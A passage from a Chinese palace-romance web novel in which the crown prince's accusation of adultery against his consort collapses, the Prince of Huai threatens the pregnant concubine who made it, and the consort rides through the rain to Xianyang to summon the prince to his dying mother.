及至远远的,看见灵犀殿外挑着一盏孤灯,在雨中飘忽,昏暗晦涩,两个宫人靠在廊庑的立柱下,头一点一点的,正在打盹。 赵元嘉奔到近前,两个宫人骤然惊醒,慌慌张张地迎上前来:“见过太子……” 她们正好挡在了赵元嘉的跟前,赵元嘉愈发愤怒,一脚飞去,将宫人踢开,上前几步,再一脚,“嘭”的一声,揣开了殿门。 殿中灯火半明,烛影摇红,纱幔低垂,空气中似乎漂浮着一种柔软的味道,黏腻而香甜,角落里烧着火盆子,麝香的味道混合着腥膻,近乎燥热,让赵元嘉的血气一阵一阵往上涌。 傅棠梨正斜坐在榻上,只有她一个人而已,她的发髻有些凌乱,一支金簪落在案上,外衫散开,半搭在臂弯上,她倚着小案,手支着额,露出一截生嫩嫩的小臂,白得惊人,带着一种颓废的意味,仿佛对外面的喧哗并未闻及。 她看见了赵元嘉,不但没有起身,连个招呼都没有,不过略一皱眉,依旧是她对待赵元嘉惯常的态度,冷漠,而且傲慢。 赵元嘉注意到了,她的脸颊很红,如同抹了胭脂,尚未褪尽,极浓极艳,似桃花。 他的脑子嗡嗡作响,不明白自己为何如此愤怒,好似背后被人捅了一刀,又气又痛,他三步并两步过去,双目赤红,瞪着傅棠梨,厉声喝问:“说,那奸夫在哪?” 林婉卿已经跟了进来,她身后带着东宫数十侍从,乌泱泱的一大群,全部涌进了灵犀殿,这里骤然显得挤了起来,火把通明,火光大盛,照得一切无所遁形。 她的目光迅速扫视四周,一面又掏出帕子,按了按眼角边不存在的泪水,神情哀伤:“太子妃,你怎么能……怎么能做出这等事情来,这、这让太子殿下情何以堪?你怎么对得住殿下对你的情意啊?实在不是我有意害你,是东宫的颜面容不得你这样践踏啊。” 傅棠梨终于站了起来,她随意地瞥了赵元嘉一眼:“你在说什么?” 她的声音略微带着沙哑,说话的气息也不若平日,低低的,尾调还有些软。 林婉卿的目光落到左侧的围屏隔间,里面传出了一点声响,人影晃动了一下,她立即朝赵元嘉努了努嘴。 赵元嘉恶狠狠地冲过去,推开围屏,吼道:“你躲什么,出来!” 傅棠梨想要阻拦:“太子且慢,不可失礼!” “哐当”,有什么东西落在地上,与此同时,“啊”的一声惊呼响起。 林婉卿心下一沉,已经发现不对。 赵元嘉怔住了,他伸着手,还保持着推搡的姿势,结结巴巴的几乎说不出话来:“安、安……安王妃,怎、怎么是你?” 安王妃年纪大了,手脚有些不太利索,听到太子的动静,方要出来,没曾想慢了一点,围屏就砸了下来,她仓促一躲,险些跌倒,手里托的茶盘落地,茶盏砸得粉碎,她老人家闪了一下腰,惊得脸色发白。 傅棠梨慌忙扑了过来,扶住安王妃,满脸不安之色:“太子年轻不更事,惊到安王妃了,还请您见恕。” 围屏后的隔间里还有安王府的一个侍女,本来在一边煮茶,这会儿赶紧连滚带爬地过来:“王妃、王妃!您没事吧?” 安王妃平日温煦和蔼,此时不禁也动了气,她摸着胸口,斥责道:“太子在做什么?喊打喊杀的,怎么,老身好心照顾你的太子妃,还成了罪过不成?” 赵元嘉脑子里乱糟糟地混成一团,他顾盼左右,左右和他一般茫然,皆爱莫能助,他回过神来,只能先拱手致意:“孤不知安王妃在此,莽撞了,孤给王妃赔礼。” 安王妃“哼”了一声,面有怒色,一拂袖,不做应答。 安王府的侍女上前,板着脸,道:“我家王妃入宫探望皇后娘娘,偶遇太子妃,见其不适,而太医未至,故而留在此处,予以关照一二,谁知道竟触犯了太子的忌讳,那原是王妃的错了?” 侍女见过大世面,面对太子也丝毫不怵,反而说话夹枪带棍的。 赵元嘉理亏,不好问罪于她,只悻悻然摆手:“孤说了,都是误会,安王妃莫要着恼。”经了这么一遭,他方才的蓄积起来的怒气像是被针戳破了一般,“嗤”的一下,漏得精光,此时徒留一片尴尬,他支支吾吾地道,“孤、孤……哦,对了,外头雨大,孤是来接二娘回去的,一时心急……” “太子是赶着来抓奸,才一时心急吧?”傅棠梨慢条斯理地打断了赵元嘉的话,她的双手笼在袖中,腰身挺得笔直,这是她一贯的姿态,矜持而高贵。 安王妃脸上露出不赞成的神色:“太子和太子妃新婚燕尔,本应琴瑟调和才是,怎么弄出这般闹剧,张扬出去,岂不叫人笑话?” 赵元嘉的嘴角抽了抽,狠狠地瞪了林婉卿一眼,又勉强笑了笑,矢口否认:“抓什么奸,这真是胡话,断断没有的事,你们都听错了。” 林婉卿自知事情出了意外,今夜势必难以如愿,却不知道到底哪个关卡出了毛病,她又是愤恨、又是惊惧,默默地退后了两步,用袖子遮住脸。 傅棠梨神态自若,她歪了歪头,露出一个无辜而好奇的表情:“太子此番兴师动众,实在叫人惊诧,让我想想看,奸夫是谁呢?” 赵元嘉恨不得捂住她的嘴:“好了,莫要得理不饶人,你也少说两句。” “是淮王吧?”傅棠梨不为所动,她甚至微微地笑了一下,“毕竟,林承徽上回指认的就是他,这一时半会的,估计也不太好改口换人。” 林婉卿犹有不甘,低着头,小声嘀咕着:“我分明看见淮王进来了,谁知道你们耍了什么花招,才……” “听说有人要来抓拿我?”就在这时,一个男人浑厚而威严的声音从外面传了进来。 赵元嘉头皮一麻。 东宫侍从皆躬身,让开了一条道:“见过淮王殿下。” 是夜,大雨如泼,天幕如漆,赵上钧披一袭玄黑大氅,踏夜色而来,他身形伟岸逼人,挟苍穹之 浓墨,令灯烛为之一沉。 元延帝身后的大内总管宋太监随侍淮王,亲为其执伞,内廷金吾卫两列跟从其后,铁甲沉沉,长戟寒光,肃穆无声。 赵元嘉心虚,忍不住扶额:“怎么就惊动了皇叔?” 赵上钧步入灵犀殿中,目光注定赵元嘉,平静地道:“我闻太子夤夜入宫,带人拿我,不敢怠慢,自投之,敢问太子,我所犯何罪?” 太子领着一大群人风风火火地闯入内廷,守卫宫门的金吾卫不能阻,往上头禀告,惊动元延帝,元延帝已于林贵妃处歇下,遂打发宋太监带人去探究竟,行半路,遇淮王,同道而来。 宋太监本来心里还犯迷糊着,不知道淮王与此事有何干系,此时闻淮王发话,方才恍然,宋太监暗暗顿足,急朝太子使眼色,示意太子快打圆场。 赵元嘉何尝不愿低头,他方才不过逞一时义愤之气,在见到安王妃的那一刻已经后悔,此时冷静下来,见到淮王,素日的畏惧之情又冒了出来,只觉得心里一阵阵打鼓,硬着头皮道:“皇叔说哪里话,孤对皇叔一向敬重,什么抓拿之语,想来是以讹传讹,谬也,皇叔不可轻信。” 赵上钧勾起嘴角,他的笑意是冰冷的,不达眼底:“有人窥见我与太子妃有私,在此灵犀殿相会,此何人也?请与当面对质。” 傅棠梨听闻此语,退后两步,低下了头,不敢正视淮王,仿佛疏离如往常。 林婉卿骤然全身冰凉,她这才明白,这就是所谓螳螂捕蝉,黄雀在后,林贵妃在宫中安插了人手,淮王何尝没有,原来今夜这局,最后要落在她的头上。 她也是识时务者,当机立断,马上跪倒在地,用膝盖蹭到赵元嘉的面前,扯住了他的衣摆,婉转哀求:“是妾的错,只因太子妃对妾太苛,妾一时鬼迷心窍,撒谎蒙骗太子,求太子念及妾对您的情意,饶过妾这一遭吧。” 赵元嘉目瞪口呆,气得跺脚:“荒唐!荒唐!你怎么能这般胡闹!” 林婉卿抱住了赵元嘉的小腿,说不出话来,只嘤嘤哭泣。 赵元嘉一时无奈,朝赵上钧连连作揖:“原是后宅妇人的争风吃醋,是孤糊涂了,一时冲动,闹出这场笑话,求皇叔看父皇面上,勿与孤计较。” 赵上钧略一颔首,他的语气居然是温和的:“太子言重了,论公,我是臣子,论私,我为长辈,怎么会与你计较?” 四周寂静无声,唯有殿外大雨如注,“哗啦哗啦”地敲落青阶下,灯烛与火把受了潮,发出轻微的“噼啪”声。 赵元嘉并未放下心来,他反而没来由地生出了一种颤栗的畏惧,他捏了捏手心里的汗,讪讪地笑道:“皇叔大度,孤惭愧,夜深了,还请皇叔和安王妃回去安歇,待孤明日另行登门赔礼。” 赵上钧的目光扫过赵元嘉,最后落在林婉卿的身上,淡漠的,好似看着草芥蝼蚁一般:“此事与太子无关,此婢子一再无礼,不宜留之。” 林婉卿不可置信地瞪圆了眼睛,她的脸“刷”的一下变得煞白。 赵元嘉心头一震,下意识地挡在林婉卿面前,护住了她:“皇叔不可。” 赵上钧慢慢地踏前一步,直直地盯着赵元嘉:“怎么,我杀不得吗?” 他的身量极高,在灯光下的影子极重,如同山岳般气势沉沉地压下来,他的嘴角微微翘起,似乎还含着笑,但他的眼中没有丝毫表情,只有一片浓郁的漆黑,这是一种无法形容的、令人胆寒的神态。 他是淮王,执掌千军,杀伐血腥,铁蹄所过能使千里尽赤,而此刻,他站在赵元嘉的面前,问了这么一句“我杀不得吗?”。 赵元嘉额头上冒出了冷汗,他根本无法回答,仓促地看了看四周。 傅棠梨眉目低垂,缄默不语,好似眼前种种情形与她一概无涉。 安王妃不动声色,冷眼旁观。 赵元嘉艰难地舔了舔嘴唇,勉强摇头:“不……” 不什么呢?语焉不详。 林婉卿惊骇欲绝,她控制不住地发抖,死死地抱着赵元嘉的腿,哭得上气不接下气:“不、不、太子救我,我错了,往后都改了,我不想死,您救救我!” 赵上钧侧过脸,看着宋太监,轻描淡写的,又问了一句:“怎么,我杀不得吗?” 好似这个问题十分可笑。 宋太监对淮王的脾性是清楚的,看来今日之局难以善了,他摇了摇头,往后退了一步:“来人。” 立即有两个金吾卫上前,对赵元嘉道了声:“太子恕罪。”,随即一左一右,拿住了林婉卿,没有丝毫怜香惜玉之意。 林婉卿疯狂挣扎,凄惨地哭叫:“不,你们去找我姑母,请姑母救我、快去啊!” 然而,远水救不了近火。 赵元嘉惊怒不已:“你们敢?放开她!孤在此,容不得你们造次!”这边又转而急切地对赵上钧道,“皇叔,你听孤解释,这事……” “你们不能杀我!”林婉卿突然大叫了一声,“我腹中已经怀了太子的骨肉,谁也杀不得我!” 此言一出,满场都静了一下,连赵上钧都挑了挑眉毛。 两个金吾卫为难地对视了一眼,手稍微放松了一点。 林婉卿仰起脸,带着满脸的泪痕,颤声道:“妾有幸,已经怀了殿下的骨肉,本来坐胎未稳,还不欲为外人道,但今日这情形,妾此身不足惜,但若是伤了殿下的子嗣,那妾便是万死也难辞其咎啊。” 赵元嘉又惊又喜,暂时忘记了当下的纷乱局面,俯下身去搂住了林婉卿:“卿卿此话当真?你真的已经怀上了孤的孩子?” 金吾卫小心地觑看着淮王的脸色,放开了林婉卿,却并不敢退下,依旧站在林婉卿身后,虎视眈眈。 林婉卿搂住了赵元嘉的脖子,扑到他的怀中,哭得梨花带雨,好不可怜:“妾怎敢欺骗太子呢,求太子怜惜妾,救妾一命吧。” 她本待在扳倒傅棠梨后再使出这个杀手锏,好拿下太子妃之位,但此时形势不由人,也只能先拿出来保命再说了。幸而这个孩子来得很是时候,若不然,恐怕她今天就要交代在当场了,她思及此处,恨得要命,哭得愈发凄惨了,捂住肚子,哀哀地叫道:“太子,妾肚子疼、好难受啊。” 赵元嘉搓了搓手,一时有些不知所措:“肚子疼?这、这该如何是好?” 傅棠梨叹了一口气,朝宋太监微微俯身致意:“劳烦宋公公,去请太医过来吧,顺带向圣上禀明此事,东宫有喜,想来圣上应是龙颜大悦。” 宋太监应诺,立即命人去办了。 傅棠梨慢慢地抬起脸,看向赵上钧,双手叠于胸前,曲膝一拜,如同一个温顺的晚辈,恭敬执礼:“林承徽已怀有身孕,皇叔威震四海,无双之英雄也,若杀她,她死不足惜,只恐皇叔名声受累, 儿斗胆,求皇叔念及血脉之情,对她从轻发落。” 她的脸颊上还带着未尽的红晕,她的眼睛里还含着盈盈的水光,或许在他人眼中看来,太子妃虚弱难支,然而,只有赵上钧才知道她方才的娇态是如何惊心动魄,他的衣袖垂下,手指藏在其中,难耐地摩挲着,指尖还残留她肌肤的触感,柔软得简直令人融化。 这世间,怎么能有人可以欺负她呢?赵上钧这么想着,漫不经心地道:“无妨,我手下亡魂无数,百无禁忌,太子妃毋须忧虑。” 第54章 第54章我等不及了,叫人动手…… 林婉卿躲在赵元嘉怀中,如遭雷劈,听得直打哆嗦,她哭得几乎要晕过去:“好疼,殿下、殿下您救救我,救救我的孩子!” 傅棠梨苦笑,倘若只有一个林婉卿也就罢了,但林婉卿的肚子里还有一个小的,她非铁石心肠,纵然她不杀伯仁,若伯仁因她而死,一尸两命,日后她无论如何也不得安心的。 她只能低下头,轻声道:“今日事,是儿之过,一则不能约束东宫女眷,使其惊扰皇叔,二则不能克己慎行,令旁人有隙可乘,玷污皇叔清誉,儿惶恐,若有责罚,儿愿领之,还求皇叔息怒。” 宋太监咳了两声,不胜唏嘘:“圣上曾有言,太子妃温恭淑慎,堪为太子良配,今日一见,果然如此。” 赵元嘉抱着林婉卿,抬起头,感激地叫了一声:“二娘。”又转而对赵上钧恳求道,“若有责罚,孤愿领之,请皇叔额外开恩,体恤孤这点骨血。” 大雨瓢泼,一直下着,砸得琉璃朱瓦嘈嘈作响,灵犀殿中的暖炉无人添炭,火焰渐渐熄灭,春夜的湿气如同流水般无声漫延,无可退避,令人全身发冷。 赵上钧终于退后了一步,低低地笑了一下:“也罢,早晚而已。” 言罢,他干脆利落地转身离去,大氅带起的风,让烛火微微地晃动了一下,光与暗明灭,人的影子有一瞬间的扭曲。 林婉卿突然意识到,赵上钧说的这个“早晚而已”,指的是杀她这件事,她冷飕飕地打了个激灵,把赵元嘉抱得更紧了。 傅棠梨心中只觉得索然无味,不愿再多看那两人一眼,她朝安王妃告了罪,缓缓地退出了灵犀殿。 廊外雨更大,樱桃未红,芭蕉已零落,阶下泥泞潮湿,或许有不知名的虫子在其中爬行,黏黏糊糊。 赵上钧持着伞,已经步入雨中,见她出来,微微侧首,望了一眼。 隔着雨幕、隔着夜色,一切都是模糊不清的,什么都不能说,连目光都是惊鸿一瞥,他仿佛只是在行进中略微地停顿了一下,而后,很快走远了。 傅棠梨沉默着站在廊庑下,长久地伫立着,身体里还带着他的热度,但雨水泼过来,溅湿了裙裾,凉意沁人。 直到他的背影看不见为止。 夜色太深,真叫人难以忍受。 —————————— 是年春,雨水充沛,京兆尹刘不鸣例行巡防渭水沿岸,至咸阳,勘河道堤坝老旧,因咸阳与长安距离甚近,恐水患生,祸及长安,急奏请朝廷,求拨款兴修水利。 就为这事,工部和户部在朝堂上又吵起来了,户部尚书陈则拿着笏板几乎要打林商,被左右生生拖住了。 元延帝意难决,询众臣,后由尚书令傅方绪、尚书右仆射常继言等老臣提议,可由太子往咸阳主持此事,杜绝各方舞弊之路,元延帝遂允之。 林商暗自得意,陈则犹愤愤,下朝后,拂袖啐其面。 赵元嘉对此事不敢怠慢,立即吩咐下去,收拾行装,将往咸阳行。 林婉卿被淮王那句“早晚而已”吓破了胆,近日十分老实,窝在东宫寸步不敢离,如今听得撑腰的人外出,她大惊失色,哭哭啼啼地跑到太子面前哀求。 “妾身心皆系太子,不可一日或离,太子此去咸阳,妾愿随侍左右。” 打自林婉卿怀孕,赵元嘉对她无有不应,但这会儿却皱了眉头,斥责道:“如今你正怀着身孕,正应好好安养才是,孤这是出去公办,你跟着作甚?别胡闹。” 林婉卿一手扶着宫人,一手拿着帕子拭眼泪,一副弱不禁风的神态,软语相求:“可是,太子不在,妾身边没个依靠的人,心慌得很,那这么着,可否求太子恩典,让妾暂到姑母处小住几天?” 赵元嘉虽然怜惜她,但好歹还有几分理智,隐约觉得不妥,斟酌良久,找来傅棠梨,商议了一下。 不知怎的,如今他觉得整个东宫中,最可靠的人还是他的太子妃。 傅棠梨瞥他一眼都觉得多余:“母后和林贵妃之间是什么情形,殿下难道不清楚吗?殿下纳了林承徽,母后已然十二分不悦,如今再打发林承徽到贵妃处养胎,这算什么,母后和贵妃,到底哪个才是殿下的生母,殿下搞混了吗?” “不妥就不妥,好好说话。”赵元嘉悻悻然,“不刺我几句,你就不舒服似的。” 林婉卿扯着赵元嘉的袖子,大哭:“太子离去,东宫留太子妃做主,太子妃恨妾久矣,妾无所倚仗,定要死在她手里,求太子念在腹中孩儿的份上,救妾一命。” 赵元嘉耐心地哄她:“你又在胡说了,太子妃当日还在皇叔面前为你求情,她又怎会害你?” 还提什么皇叔,怕的不就是皇叔吗?林婉卿有苦说不出,一味嘤嘤哭泣,赵元嘉怎么劝她都不肯听。 赵元嘉只好当着林婉卿的面,对傅棠梨嘱咐道:”孤自去,你也收敛点性子,替孤好好照顾承徽,承徽素来娇气,如今更是不能委屈她,孤的孩儿就是你的孩儿,你千万谨慎。” 傅棠梨被这两人闹得,本来就头疼,听赵元嘉这么一说,简直气笑了,干脆道:“这不巧了,我和承徽恰恰相反,我素来硬气,当初就说过,有她无我,有我无她,这话绝无更改。我劝殿下,不论你要去哪里,还是把她带走为宜,否则,若叫她杵在眼前,保不齐我心烦,天天寻她晦气。” 她言罢,不待赵元嘉再啰嗦,径直扬长而去。 赵元嘉气得发呆,这厢林婉卿又在抹眼泪,哭得那叫一个婉转悱恻,叫他心烦又心疼,索性赌气道:“好,孤带你同去,傅二娘这等无良妇人,孤就不该和她多说一句话,随她去,毋须理会。” 好在长安去咸阳不甚远,一日可达,太医给林婉卿请过脉,莫看她平日一副柔柔弱弱的模样,身子骨倒是相当结实,这胎怀得也稳当。当下,赵元嘉打定主意,带上了两个太医,备了宽敞马车,携林婉卿一起上路了。 傅棠梨乐得清静。 —————————— 春雷隆隆,一阵紧似一阵,雨越下越大,接连数日不停,整个皇城笼罩在白茫茫的雨幕中,红墙朱瓦都淡成了水墨,宫台栏下的龙头张开了大口,“哗啦哗啦”地吐着水,雷声、雨水、水声,声声交错,天籁喧哗,吵得人心慌意乱。 沈皇后昏迷了好几天,突然清醒了过来,几个太医来视,相顾失色,退出未央宫后,急请人禀告元延帝,皇后此景,恐为回光返照之象,大不吉。 元延帝欲往探,林贵妃极力劝阻,泣道:“陛下龙体尊贵,是为天下人之倚望,皇后娘娘身患恶疾,陛下不宜近之,臣妾愿代陛下往,转陛下关爱之意。” 元延帝勃然变色:“林氏,莫要仗着朕宠你,就无所顾忌起来,皇后是朕的发妻,如今她都这般情形了,朕去看她,你还不肯,真真心肠歹毒!” 林贵妃大惊,慌忙跪地,连连叩首。 元延帝不再理她,匆匆忙忙去了未央宫。 未央宫中燃着清秽香,药草的气息浓郁,沉沉地压在帘纱屏障间。 沈皇后披着一袭裘衣,倚坐在床上,她的嘴唇惨白,脸上却泛着惊人的潮红,当元延帝进来的时候,她甚至没有多看他一眼,而是把眼睛瞪得大大的,不住声地叫道:“太子、太子、本宫的太子呢?他在哪里?本宫要见他!” 不过一个多月未见,沈皇后已经瘦得眼窝深陷、颧骨都突了出来,让元延帝有些不太敢相认,元延帝心里一酸,记起少年时的相依相守,他几乎落泪,抢着几步过去,坐到床头,握住了沈皇后的手,轻声道:“太子去咸阳公办,不在宫中,朕在这里,皇后勿忧。” 沈皇后冷笑一声,虚弱地摔开元延帝的手,对左右喝道:“太子妃呢?去,把太子妃叫过来!” 宫人急去东宫召太子妃来。 不多时,傅棠梨至,见沈皇后的情状,暗暗心惊,但面上未敢显露分毫,过来行了礼,露出温柔的笑意:“母后今日醒了 ,看过去气色甚好,想来病情有所好转,可惜太子不在,若叫他知道,定然十分欢喜。” 沈皇后想说话,却捂着胸口咳了起来,半晌方止,用沙哑的声音道:“母后不成了,二娘,你去,把太子叫回来,莫叫他连母后的最后一面也见不成。” 元延帝劝道:“皇后莫心急,太子妃弱质女流,恐处事不力,朕叫陈虔或宋明忠去把元嘉找回来。” 沈皇后摇晃了一下,差点倒下,她强撑着身体,对着元延帝满面怒容,连敬称都没了:“我信不过你,你自去找你的林氏吧,如今我要死了,遂了你们的意了,无需你在此惺惺作态。” 元延帝脸色尴尬。 左右纷纷宽慰:“圣上见娘娘病重,日日忧虑,娘娘莫心急,再叫太医给看看,过几日好起来,再慢慢核计。” “你们都给本宫滚开!”沈皇后指着眼前众宫人,厉声道,“你们这些人,本宫一个都不认得,林氏那贱人,趁着本宫生病,把本宫身边的人都打发走了,叫你们这群魑魅魍魉来害本宫,你们、你、还有你……”她的手指颤抖着,一个个指过去,“本宫统统信不过,都滚开!” 左右宫人喏喏不敢应。 元延帝见状,为示安抚之意,当机立断站了起来,对傅棠梨严厉地道:“太子妃,没听见你母后的话吗,去,速去咸阳,叫太子即刻回宫!” 傅棠梨怵然,俯首应诺。 少顷,傅棠梨持着元延帝的手谕,步履匆匆出了宫,命百十东宫侍卫随行,动身前往咸阳。 陈虔本拟给太子妃备马车,傅棠梨拦住了,她用金簪盘起长发,换了一身窄袖胡服,披上斗笠与蓑衣,叫人把那匹小桃花牵了出来,随众侍卫一起翻身上了马。 陈虔大惊:“大雨滂沱,道路难行,太子妃千金之躯,不可如此草率。” 小桃花甩了甩脑袋,“咴咴”待发,傅棠梨拨转马头,回首道:“皇后病情危重,恐有差池,若太子迟来一步,将抱憾终生,哪里容车马慢行?我骑术颇佳,此马能追风,日行千里,比旁人去都要快一些。” 陈虔一怔,随即肃容拱手:“太子得此良配,何幸也。” 雨水如注,天就像漏了似的,风斜吹着,泼过来,傅棠梨的脸很快就湿了,而她铅粉未施,看过去容华无损,反而显露出一种明亮的艳光。 她把马鞭在手里轻巧地转了一圈,淡淡地道:“陈大人别说这个,什么良不良、配不配的,你心里有数,我和太子那是相看两相厌,只此事,乃是为了成全皇后娘娘一片慈母之心,我欲求慈母而不得,太子有之,令我羡慕,你放心,我会尽快把太子带回来,绝不耽搁。” 陈虔再次拱手,躬身后退。 傅棠梨一声清叱,打马冲了出去,一干东宫侍卫紧跟其后,马蹄踏开雨幕,直奔咸阳去。 雨下得愈发大了。 —————————— 云麓观筑于山林,水气比别处更加充沛,雨下着,整座道观宛如笼罩在白雾中,岚烟袅袅。 竹帘卷起,雨水飘进来,沾衣欲湿。 赵上钧的手干燥而有力,持着笔,慢慢地抄写着经文。 玄安研墨,玄度燃香,两只白鹤徜徉在阶下,仰长脖子,偶尔发出一两声清鸣,在雨中似空旷有回响。 庄敬恭敬地站在帘外,微微俯身:“孙澄使人来报,李颜的人马混入流民之中,与流民头子相互勾结,种种煽动挑拨,沿途多有民众为其所惑,他们从郑州起,经雍城、开封及洛州,又得洛州刺史王永敬资助,如今看过去声势不容小觑。” “眼下流民到何处?”赵上钧笔锋不停,勾折有铿锵之势,但他的声音却是平淡的。 “大部在洛州城外,另有小股往咸阳一带流窜。”庄敬话声一顿,试探地道,“太子近日至咸阳,恐怕贼人对其不利,可要上报朝廷知晓?” “流民之事,圣上不知吗?”赵上钧反问。 庄敬迟疑了一下,没有回答。 流民之乱,各地官员多有奏报,元延帝说了什么?“不过尔尔”也,轻描淡写一句话。 赵上钧露出一个漫不经心的笑意:“如今我急流勇退,圣上待我极仁爱,若我再涉朝政,恐圣上又不悦,再多说,圣上要疑心流民之乱为我所使了,大可不必。” 雨声愈急,乱打檐上瓦,声声切切,白鹤兀然长鸣,双双振翅飞起。 他翻过了一页经书,好似叹息了一声,自语道:“圣上想要江山太平,李颜想要天下大乱,也不知谁能如愿?” 庄敬见状,对流民之事不再多言,转而道:“孙澄在潞州,一切已准备停当,请淮王示下,何时动手为宜?” 赵上钧的笔锋一顿,险些划透宣纸:“立即,越快越好!” 他长长地吐出一口气,抬起脸,往向窗外,远山如雾,不可捉摸,他的眼底浮出如同凶兽般森冷的煞气,“李颜可以等,我却等不及了,让孙澄不计代价,尽快拿下昌平城,把李怀义的头颅送给李颜。” 李颜膝下有二子,长子李怀恩尚公主,质于长安,次子李怀义留于范阳,替父镇守昌平。 庄敬抱拳,“喏”了一声,退下了。 旋即,有下属来,立于廊下,拿着文书,将上下要务逐一呈报淮王知晓。 “回鹘献礼,金万两、银万两、马千匹,赎其国主,依殿下吩咐,赎金交予西宁伯府,大都护已将阿耶律可汗放归。” “户部尚书陈则与工部尚书林商又起争执,陈则怒而称病不出,户部官员多怠工,帝命尚书仆射常继言调停,尚未果。” “刑部再修《武德律》,增保辜制,发御史台及大理寺审议。” “皇后病危,帝命太子妃往咸阳,迎太子归……” 赵上钧掷了笔,霍然起身,几乎带翻案几。 玄安猝不及防,手一抖,砚台翻倒,墨水泼撒,溅上了赵上钧的衣摆,触目惊心一团黑。玄安差点要哭,跪倒求饶:“我错了,师兄息怒。” 赵上钧不予理会,只沉声道:“去把庄敬叫回来,快!” 玄度飞快地出去叫人。 未几,庄敬大步跑着回来:“殿下有何吩咐?” 赵上钧上前几步,逼视庄敬:“你方才说,有流民窜至咸阳,究竟有多少人?这其中可有李颜的部属?” 庄敬不明所以,茫然地道:“属下不知,此小事,不足道,未命人细探。” “蠢才,办事不力,自去领罚!”赵上钧脸色阴沉,脱下外衫,随手扔开,厉声道,“备马,命虎骧营随行,即刻出发,随我往咸阳。” 一记惊雷,轰然鸣动在山外。 —————————— 今夜的雨下得格外大,“哗啦哗啦”的,敲破屋瓦,惊雷一阵接一阵,轰轰隆隆响个不停,雨水积攒在庭院里,渐渐没过了青砖。 深夜,咸阳县的何县令和工部营缮所的洪所丞来官邸求见,赵元嘉不得不从林婉卿的温柔乡中爬了起来,出去的时候,脸色还不太好。 “两位大人有何要事,如此十万火急?”赵元嘉端坐明堂之上,皱着眉头打量下面。 何县令在任上矜矜业业,为咸阳百姓殚精竭虑,未过四旬,已然满头花白,此时卷着裤腿,鞋子上都是泥泞,踩得地面湿漉漉、黑乎乎的,赵元嘉强忍着,才没有捏鼻子。 何县令上前一步,卑恭地请求道:“连日暴雨,河水上涨已大大超过往年,下官命人日夜施工不停,今夜正值堤坝合拢,此举至关重要,下官斗胆,求殿下亲往监工,免得有小人作祟,害了咸阳黎民苍生。” 他这话说得很重,洪所丞不乐意了:“谁为小人,何县令不必指桑骂槐,堤坝合拢乃寻常事也,你不依不饶,这大半夜的,非要拉着我过来惊动太子殿下,好生不识趣!” 洪所丞又对赵元嘉赔着笑,诉苦道:“可怜下官随太子到此,没日没夜为了他咸阳百姓操劳,何县令不领情也就罢了,还要在太子面前诋毁下官,下官着实冤枉,还请太子明鉴。” 何县令已经被工部的人坑过几次了,屡屡克扣民夫工钱,又贪昧款项,以草木麦秆等物装袋,冒充沙石土方,他一个小小县令,平日敢怒不敢言,实在是今夜那处堤坝的位置过于关键,就杵在河道口,若不打得扎实,待洪水来了,这满城的百姓又要遭殃。 他豁出去了,大声道:“太子此来咸阳,就是为了兴修水利之事,咸阳百姓倚望太子,下官替百姓请愿,求太子亲往一视,以振民心。” 这两人眼看着当场就要吵起来了,赵元嘉眉头打结,还未发话,忽又听得外面传来“咴咴”的马鸣声,然后有人在叫嚷着什 么,十分吵杂,那声音还越来越近,他越发不悦:“何事吵闹,这大半夜的,一个个没完没了,叫下面的人肃静,不得喧哗!” 话音刚落,一群人已经走了进来,领头的那个,身量略矮些,戴着斗笠,披着蓑衣,一路湿漉漉地淌下水来,和何县令有的一比,但此人比何县令张狂多了,不跪不拜,亦不行礼,就那样径直走到赵元嘉的面前。 第55章 第55章太子妃使劲扇了太子一耳…… “放肆……” 赵元嘉的话还没说完,那人脱下了斗笠,露出一张芙蓉面,眉目若春山与秋水,沾了雨,便似这夜来淋漓的水墨色。 赵元嘉惊诧,下意识地站了起来,“噔噔噔”几步迎上前去:“二娘,你怎么来了?长安出了什么事?” 傅棠梨抬手抹了一把脸上的水,上前两步,拿出了元延帝的手谕,语气比平日还温和几分:“皇后娘娘醒过来了,要见太子,请太子速速随我回去。” 她越是和颜悦色,赵元嘉越是心惊,他的身体摇晃了一下,脱口而出:“莫非、莫非母后……” “太子不要胡思乱想。”傅棠梨打断了赵元嘉的话,“皇后娘娘既然已经醒了,便是病情有所好转,她许久不见太子,甚是想念,圣上这才命我来唤太子回去,以宽慰娘娘病中的忧思,总之,太子快快收拾一下,即刻随我启程便是,其他的,都等见了娘娘再说。” 赵元嘉不傻,傅棠梨待他如何,他心里有数,若非出了大事,她怎会冒着倾盆大雨、连夜赶来,他一念及此,有些站立不稳,颤声道:“好、好,孤这就回去,来人,备马……不对,备、备马车……也不对……” 傅棠梨叹了一口气,对左右道:“先扶太子下去更衣,把马喂饱,套马车,备雨布与火把,行囊等物一应从简,太子贴身服侍的人跟上,侍卫跟上,半个时辰后启程,其他闲杂人等,落后一步,明日叫本地官署派人过来,另行护送回京。” 太子六神无主,太子妃就是主心骨,随着太子妃的吩咐,官邸中点亮了无数灯盏,仆从们都起了身,纷纷行动了起来。 洪所丞暗喜,何县令却大急,他硬着头皮,跑过去拦在了傅棠梨的前面:“不、不、太子走不得啊!” 东宫卫率刷地抽出刀来,抵住了何县令,怒喝道:“大胆,敢对太子妃无礼,不要命了吗?” 傅棠梨飞快地打量了一下何县令,抬手止住了卫率,冷静地道:“汝何人?为何事?马上说。” 何县令也是个利索的,简单的三言两语,择要把事情又说了一遍,末了,“噗通”一声跪下,对着傅棠梨连连磕头,“哐哐哐”作响:“下官愿领死罪,为咸阳黎庶请命,求太子妃体恤,令太子缓行片刻。” 赵元嘉神色轻慢:“些须小事,夸大其词,此小吏呱噪不休,惹人厌烦,命人将他逐出便是。” 何县令听了这话,面色灰败,把头磕得越发急切。 工部以林商为首,上行下效,种种瞒天过海,傅棠梨早有耳闻,此时见咸阳县令如此,知道其中必有缘故,她踌躇了一下,看了看何县令,再看了看赵元嘉。 赵元嘉被她那一眼看得心头肉跳,警惕地道:“二娘,你是识大体的人,既然赶着过来找孤,当知母后的事情不可耽搁,孤不是不想体恤民情,实在是事有轻重缓急,腾不出工夫。” 傅棠梨不理赵元嘉,转头问何县令:“要修筑的堤坝在何处?” 何县令来了精神:“在城南二里地,渭水中段。” 傅棠梨点了点头,冷静地道:“我们稍后启程,从城南出,请太子到堤坝上略站片刻,何大人,你趁着那会儿工夫,抓紧把该说的话说了、该办的事办了,后头能如何,全靠你自己了,懂吗?” 何县令大喜,一骨碌爬了起来,点头如捣蒜:“下官懂、懂!” 赵元嘉怒视傅棠梨:“喂、傅二娘,你不要随意替孤乱做主张。” 